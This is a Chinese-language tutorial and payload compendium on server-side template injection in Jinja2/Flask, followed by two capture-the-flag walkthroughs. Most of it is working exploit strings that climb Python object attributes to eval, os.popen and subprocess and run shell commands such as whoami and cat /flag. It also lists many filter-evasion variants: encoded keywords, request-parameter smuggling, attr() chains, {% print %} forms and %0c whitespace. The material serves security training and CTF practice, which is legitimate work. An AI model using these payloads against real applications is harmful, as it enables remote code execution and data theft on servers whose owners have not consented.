SSTI服务端模板注入漏洞原理详解及利用姿势集锦

目录

• 基本概念
  • 模板引擎
  • SSTI
  • Jinja2
  • Python基础
• 漏洞原理
  • 代码复现
  • Payload解析
• 常规绕过姿势
  • 其他Payload
  • 过滤关键字
  • 过滤中括号
  • 过滤下划线
  • 过滤点.
  • 过滤花括号{{}}
• 使用 Jinja2 过滤器绕过
• 实战例题
  • [网络安全管理员职业技能大赛]EZSS
  • [Dest0g3 520迎新赛]EasySSTI
• 参考链接

基本概念

模板引擎

模板引擎是在 Web 开发中，为了使用户界面与业务数据（内容）分离而产生的，它可以生成特定格式的文档，模板引擎会将模板文件和数据通过引擎整合生成最终的HTML代码并用于展示。
模板引擎的底层逻辑就是进行字符串拼接。模板引擎利用正则表达式识别模板占位符，并用数据替换其中的占位符。

SSTI

SSTI（Server-Side Template Injection）服务端模板注入主要是 Python 的一些框架，如 jinja2、mako、tornado、django，PHP 框架 smarty、twig，Java 框架 jade、velocity 等等使用渲染函数时，由于代码不规范或信任了用户输入而导致了服务端模板注入，模板渲染其实并没有漏洞，主要是程序员对代码不规范不严谨造成了模板注入漏洞，造成模板可控。

Jinja2

Jinja2 是一种面向Python的现代和设计友好的模板语言，它是以Django的模板为模型的。
Jinja2 是 Flask 框架的一部分。Jinja2 会把模板参数提供的相应的值替换了 {{…}} 块。
Jinja2 模板同样支持控制语句，像在 {%…%} 块中。

控制结构 {% %} 可以声明变量，也可以执行语句
变量取值 {{ }} 用于将表达式打印到模板输出
注释块 {# #} 用于注释

Python基础

当我们启动一个python解释器时，即时没有创建任何变量或者函数，还是会有很多函数可以使用，我们称之为内建函数。内建函数并不需要我们自己做定义，而是在启动python解释器的时候，就已经导入到内存中供我们使用，想要了解这里面的工作原理，我们可以从名称空间开始。__builtins__ 方法是做为默认初始模块出现的，可用于查看当前所有导入的内建函数。
Python语言实现为部分对象类型添加了一些特殊的只读属性，它们具有各自的作用。其中一些并不会被 dir() 内置函数所列出。

__class__
  查看对象所在的类
__mro__
  查看继承关系和调用顺序，返回元组
__base__
  返回基类
__bases__
  返回基类元组
__subclasses__()
  返回子类列表
__init__
  调用初始化函数，可以用来跳到__globals__
__globals__
  返回函数所在的全局命名空间所定义的全局变量，返回字典
__builtins__
  返回内建内建名称空间字典
__dic__
  返回类的静态函数、类函数、普通函数、全局变量以及一些内置的属性
__getattribute__()
  实例、类、函数都具有的魔术方法。事实上，在实例化的对象进行.操作的时候（形如:a.xxx/a.xxx() 都会自动去调用此方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__()
  调用字典中的键值，其实就是调用这个魔术方法，比如a['b']，就是a.__getitem__('b')
__builtins__
  内建名称空间，内建名称空间有许多名字到对象之间映射，而这些名字其实就是内建函数的名称，对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了，百度都有。
__import__
  动态加载类和函数，也就是导入模块，经常用于导入os模块，__import__('os').popen('ls').read()]
__str__()
  返回描写这个对象的字符串，可以理解成就是打印出来。
url_for
  flask的一个方法，可以用于得到__builtins__，而且url_for.__globals__['__builtins__']含有current_app
get_flashed_messages
  flask的一个方法，可以用于得到__builtins__，而且url_for.__globals__['__builtins__']含有current_app
lipsum
  flask的一个方法，可以用于得到__builtins__，而且lipsum.__globals__含有os模块：{{lipsum.__globals__['os'].popen('ls').read()}} {{cycler.__init__.__globals__.os.popen('ls').read()}}
current_app
  应用上下文，一个全局变量
request
  可以用于获取字符串来绕过，包括下面这些，引用一下羽师傅的。此外，同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1
  get传参
request.values.x1
  所有参数
request.cookies
  cookies参数
request.headers
  请求头参数
request.form.x1
  post传参(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data
  post传参(Content-Type:a/b)
request.json
  post传json(Content-Type:application/json)
config
  当前application的所有配置。此外，也可以{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

漏洞原理

代码复现

如以下代码：

from flask import Flask, render_template, request, render_template_string

app = Flask(__name__)


@app.route('/ssti', methods=['GET', 'POST'])
def sb():
    template = '''
        

            
This is ssti! %s
        
    ''' % request.args["x"]

    return render_template_string(template)


if __name__ == '__main__':
    app.debug = True
    app.run()

模板文件接收了名为x的传入参数，并且将参数值回显到页面上。
启动服务，手动传入参数，可以看到功能正常，其中参数x的值完全可控：

尝试写入 Jinja2 的模板语言，发现模板引擎成功解析。说明模板引擎并不是将我们输入的值当作字符串，而是当作代码执行了。

那么，攻击者就可以通过精心构造恶意的 Payload 来让服务器执行任意代码，造成严重危害。下图通过 SSTI 命令执行成功执行 whoami 命令：

Payload解析

先上Payload：

{{''.__class__.__base__.__subclasses__()[1].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}

下面分步对每一步代码进行分析：

1. 首先考虑拿到一个class，通过字符串、元组、列表、字典均可。

{{''.__class__}}
# 
{{().__class__}}
# 
{{[].__class__}}
# 
{{{}.__class__}}
# 

2. 下一步目的是拿到object基类。

{{''.__class__.__base__}}
# 

3. 然后获取对应子类。

{{''.__class__.__base__.__subclasses__()}}
# [, , , , , ...

4. 在所有的子类中选择一个可用的类，去获取__globals__全局变量。如果这些函数并没有被重载，这时他们并不是function，不具有__globals__属性。

{{''.__class__.__base__.__subclasses__()[128]}}
# 

5. 通过某些手段找到某个函数是可用的，下一步利用这个类的__init__函数获取到__globals__全局变量。

{{''.__class__.__base__.__subclasses__()[128].__init__}}
# 

{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__}}
# ..., 'eval': , ...

6. 再获取到__globals__全局变量里的__builtins__中的eval函数。

{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']}}
# {'__name__': 'builtins', '__doc__': ...

{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']}}
# 

7. 使用popen命令执行即可。

{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}
# root

常规绕过姿势

其他Payload

1. 获取基类
   __bases__方法用来查看某个类的基类，也可以使用数组索引来查看特定位置的值。通过该属性可以查看该类的所有直接父类。获取基类还能用__mro__方法，该方法可以用来获取一个类的调用顺序。也可以利用__base__方法获取直接基类。

{{''.__class__.__bases__}}
# (,)
{{''.__class__.__bases__[0]}}
# 
{{''.__class__.__mro__}}
# (, )
{{''.__class__.__base__}}
# 

2. 执行命令

{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
{{''.__class__.__base__.__subclasses__()[128]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
# root

过滤关键字

绕过对双引号里关键字的限制，比如{{''.__class__}}，如果过滤_或class关键字

1. 16进制编码
   {{''.__class__}}等价于{{''["__class__"]}}，所以可以将其中关键字编码或者部分编码，如

{{''["\x5f\x5f\x63las\x73\x5f\x5f"]}}

2. 使用unicode编码（适用于Flask）

{{''["\u005f\u005fclas\u0073\u005f\u005f"]}}

3. 使用字符串拼接、引号绕过，在Jinjia2中加号可以省略

{{''["__clas"+"s__"]}}
{{''["__clas""s__"]}}

4. 使用base64编码（适用于Python2）

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3Blbigid2hvYW1pIikucmVhZCgp'.decode('base64'))}}

5. 使用join()函数绕过，比如过滤了flag关键字

[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()

过滤中括号

1. 使用__getitem__函数即可，它的作用是从__getitem__(i)等价于[i]获取第i个元素，因此可以替换，如

{{''.__class__.__mro__.__getitem__(1)}}

2. 使用pop函数也可以

{{''.__class__.__mro__.__getitem__(1).__subclasses__().pop(80)}}

3. 使用.来访问

{{''.__class__.__mro__.__getitem__(1).__subclasses__()[80].__init__.__globals__.__builtins__}}

过滤下划线

1. 使用request对象。Flask可以有以下参数

form
args
values
cookies
stream
headers

{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[80]('/flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[80].__init__.__globals__['os'].popen('whoami').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__

过滤点.

1. 使用中括号来互换

{{''.__class__}}
{{''["__class__"]}}
{{''|attr("__class__")}}

2. 也可以使用原生 JinJa2 的 attr() 函数，如

{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(80)|attr("__init__")|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("eval")('__import__("os").popen("whoami").read()')}}

过滤花括号{{}}

1. 如果题目直接把{{}}过滤了，可以考虑使用Flask模板的另一种形式{%%}装载一个循环控制语句来绕过

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}

2. 也可以使用{% if ... %}1{% endif %}配合 os.popen 和 curl 将执行结果外带（不外带的话无回显）

{% if ''.__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen('whoami') %}1{% endif %}

3. 也可以用{%print(......)%}的形式来代替{{}}

{%print(''.__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()"))%}

使用 Jinja2 过滤器绕过

在 JinJa2 中内置了很多过滤器，变量可以通过过滤器进行修改，过滤器与变量之间用管道符号|隔开，括号中可以有可选参数，也可以没有参数，过滤器函数可以带括号也可以不带括号。可以使用管道符号|连接多个过滤器，一个过滤器的输出应用于下一个过滤器。
内置过滤器列表如下：

abs()	forceescape()	map()	select()	unique()
attr()	format()	max()	selectattr()	upper()
batch()	groupby()	min()	slice()	urlencode()
capitalize()	indent()	pprint()	sort()	urlize()
center()	int()	random()	string()	wordcount()
default()	items()	reject()	striptags()	wordwrap()
dictsort()	join()	rejectattr()	sum()	xmlattr()
escape()	last()	replace()	title()	filesizeformat()
length()	reverse()	tojson()	first()	list()
round()	trim()	float()	lower()	safe()
truncate()

其中常见过滤器用法如下：

abs()
  返回参数的绝对值。
attr()
  获取对象的属性。foo|attr("bar") 等价于 foo.bar
capitalize()
  第一个字符大写，所有其他字符小写。
first()
  返回序列的第一项。
float()
  将值转换为浮点数。如果转换不起作用将返回 0.0。
int()
  将值转换为整数。如果转换不起作用将返回 0。
items()
  返回一个迭代器(key, value)映射项。

其他用法详见官方文档：

Template Designer Documentation - Jinja Documentation (3.2.x)

使用过滤器构造Payload，一般思路是利用这些过滤器，逐步拼接出需要的字符、数字或字符串。对于一般原始字符的获取方法有以下几种：

{% set org = ({ }|select()|string()) %}{{org}}
# 
{% set org = (self|string()) %}{{org}}
# 
{% set org = self|string|urlencode %}{{org}}
# %3CTemplateReference%20None%3E
{% set org = (app.__doc__|string) %}{{org}}
# Hello The default undefined type.  This undefined type can be printed and
#    iterated over, but every other access will raise an :exc:`UndefinedError`:
#
#     >>> foo = Undefined(name='foo')
#     >>> str(foo)
#     ''
#     >>> not foo
#     True
#     >>> foo + 42
#     Traceback (most recent call last):
#       ...
#     jinja2.exceptions.UndefinedError: 'foo' is undefined
{% set num = (self|int) %}{{num}}
# 0
{% set num = (self|string|length) %}{{num}}
# 24
{% set point = self|float|string|min %}{{point}}
# .

通过以上几种Payload，返回的字符串中包含尖括号、字母、空格、下划线、数字、空格、百分号、点号。
我们的目标就是使用这些返回的字符串，结合各种过滤器，拼接出最终的Payload。

实战例题

[网络安全管理员职业技能大赛]EZSS

进入页面，发现提示please get pid，尝试GET传参，发现回显参数值到页面了。
结合题目名称以及返回报文头的Server信息，初步判断是一道SSTI题目。

经过尝试，题目过滤了{{}}，使用{%print %}来绕过，说明存在SSTI漏洞。

?pid={%print 7*7%}

题目还过滤了.，使用多个参数传入[request["args"]["a"]]来绕过，因为题目的过滤规则只对pid参数生效，我们把关键通过别的参数传入，再将参数值进行拼接即可。

查看可用的类：

?pid={%print+()[request["args"]["a"]][request["args"]["b"]][0][request["args"]["c"]]()%}&a=__class__&b=__bases__&c=__subclasses__

执行命令并读取flag即可：

{%print ()[request["args"]["a"]][request["args"]["b"]][0][request["args"]["c"]]()[146]('whoami',shell=True,stdout=-1)["stdout"]["readlines"]() %}&a=__class__&b=__bases__&c=__subclasses__&d=__init__&f=communicate

[Dest0g3 520迎新赛]EasySSTI

进入题目是一个登录框，点击登录可以回显用户名，经过尝试发现存在SSTI：

经过Fuzz，发现过滤了 _.'"[]等字符，还有各种class、request、eval等关键字。
需要注入也就是需要程序执行的代码如下：

__import__('os').popen('cat /flag').read()

通过过滤器构造payload：

{% set zero = (self|int) %}
{% set one = (zero**zero)|int %}
{% set two = (zero-one-one)|abs %}
{% set four = (two*two)|int %}
{% set five = (two*two*two)-one-one-one %}
{% set three = five-one-one %}
{% set nine = (two*two*two*two-five-one-one) %}
{% set seven = (zero-one-one-five)|abs %}
{% set space = self|string|min %}
{% set point = self|float|string|min %}
{% set c = dict(c=aa)|reverse|first %}
{% set bfh = self|string|urlencode|first %}
{% set bfhc = bfh~c %}
{% set slas = bfhc%((four~seven)|int) %}
{% set yin = bfhc%((three~nine)|int) %}
{% set xhx = bfhc%((nine~five)|int) %}
{% set right = bfhc%((four~one)|int) %}
{% set left = bfhc%((four~zero)|int) %}
{% set but = dict(buil=aa,tins=dd)|join %}
{% set imp = dict(imp=aa,ort=dd)|join %}
{% set pon = dict(po=aa,pen=dd)|join %}
{% set so = dict(o=aa,s=dd)|join %}
{% set ca = dict(ca=aa,t=dd)|join %}
{% set ls = dict(ls=x)|join %}
{% set ev = dict(ev=aa,al=dd)|join %}
{% set red = dict(re=aa,ad=dd)|join %}
{% set bul = xhx~xhx~but~xhx~xhx %}
{% set ini = dict(ini=aa,t=bb)|join %}
{% set glo = dict(glo=aa,bals=bb)|join %}
{% set itm = dict(ite=aa,ms=bb)|join %}
{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~(dict(flag=1)|join)~yin~right~point~red~left~right %}
{% for f,v in (self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}
    {% if f == bul %}
        {% for a,b in (v|attr(itm))() %}
            {% if a == ev %}
                {{b(pld)}}
            {% endif %}
        {% endfor %}
    {% endif %}
{% endfor %}

空格绕过一般可以考虑以下：

%20
%09
%0a
%0b
%0c
%0d
%a0
%00

本题可以使用%0c绕过，最终Payload如下：

username={%%0cset%0czero%0c=%0c(self|int)%0c%}{%%0cset%0cone%0c=%0c(zero**zero)|int%0c%}{%%0cset%0ctwo%0c=%0c(zero-one-one)|abs%0c%}{%%0cset%0cfour%0c=%0c(two*two)|int%0c%}{%%0cset%0cfive%0c=%0c(two*two*two)-one-one-one%0c%}{%%0cset%0cthree%0c=%0cfive-one-one%0c%}{%%0cset%0cnine%0c=%0c(two*two*two*two-five-one-one)%0c%}{%%0cset%0cseven%0c=%0c(zero-one-one-five)|abs%0c%}{%%0cset%0cspace%0c=%0cself|string|min%0c%}{%%0cset%0cpoint%0c=%0cself|float|string|min%0c%}{%%0cset%0cc%0c=%0cdict(c=aa)|reverse|first%0c%}{%%0cset%0cbfh%0c=%0cself|string|urlencode|first%0c%}{%%0cset%0cbfhc%0c=%0cbfh~c%0c%}{%%0cset%0cslas%0c=%0cbfhc%((four~seven)|int)%0c%}{%%0cset%0cyin%0c=%0cbfhc%((three~nine)|int)%0c%}{%%0cset%0cxhx%0c=%0cbfhc%((nine~five)|int)%0c%}{%%0cset%0cright%0c=%0cbfhc%((four~one)|int)%0c%}{%%0cset%0cleft%0c=%0cbfhc%((four~zero)|int)%0c%}{%%0cset%0cbut%0c=%0cdict(buil=aa,tins=dd)|join%0c%}{%%0cset%0cimp%0c=%0cdict(imp=aa,ort=dd)|join%0c%}{%%0cset%0cpon%0c=%0cdict(po=aa,pen=dd)|join%0c%}{%%0cset%0cso%0c=%0cdict(o=aa,s=dd)|join%0c%}{%%0cset%0cca%0c=%0cdict(ca=aa,t=dd)|join%0c%}{%%0cset%0cls%0c=%0cdict(ls=x)|join%0c%}{%%0cset%0cev%0c=%0cdict(ev=aa,al=dd)|join%0c%}{%%0cset%0cred%0c=%0cdict(re=aa,ad=dd)|join%0c%}{%%0cset%0cbul%0c=%0cxhx~xhx~but~xhx~xhx%0c%}{%%0cset%0cini%0c=%0cdict(ini=aa,t=bb)|join%0c%}{%%0cset%0cglo%0c=%0cdict(glo=aa,bals=bb)|join%0c%}{%%0cset%0citm%0c=%0cdict(ite=aa,ms=bb)|join%0c%}{%%0cset%0cpld%0c=%0cxhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~(dict(flag=1)|join)~yin~right~point~red~left~right%0c%}{%%0cfor%0cf,v%0cin%0c(self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))()%0c%}{%%0cif%0cf%0c==%0cbul%0c%}{%%0cfor%0ca,b%0cin%0c(v|attr(itm))()%0c%}{%%0cif%0ca%0c==%0cev%0c%}{{b(pld)}}{%%0cendif%0c%}{%%0cendfor%0c%}{%%0cendif%0c%}{%%0cendfor%0c%}&password=admin

参考链接

以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用 - 先知社区
Flask（Jinja2） 服务端模板注入漏洞(SSTI) - 淚笑 - 博客园
flask之ssti模版注入从零到入门 - 先知社区
从SSTI到沙箱逃逸-jinja2
CTFshow刷题日记-WEB-SSTI(web361-372)_OceanSec的博客-CSDN博客

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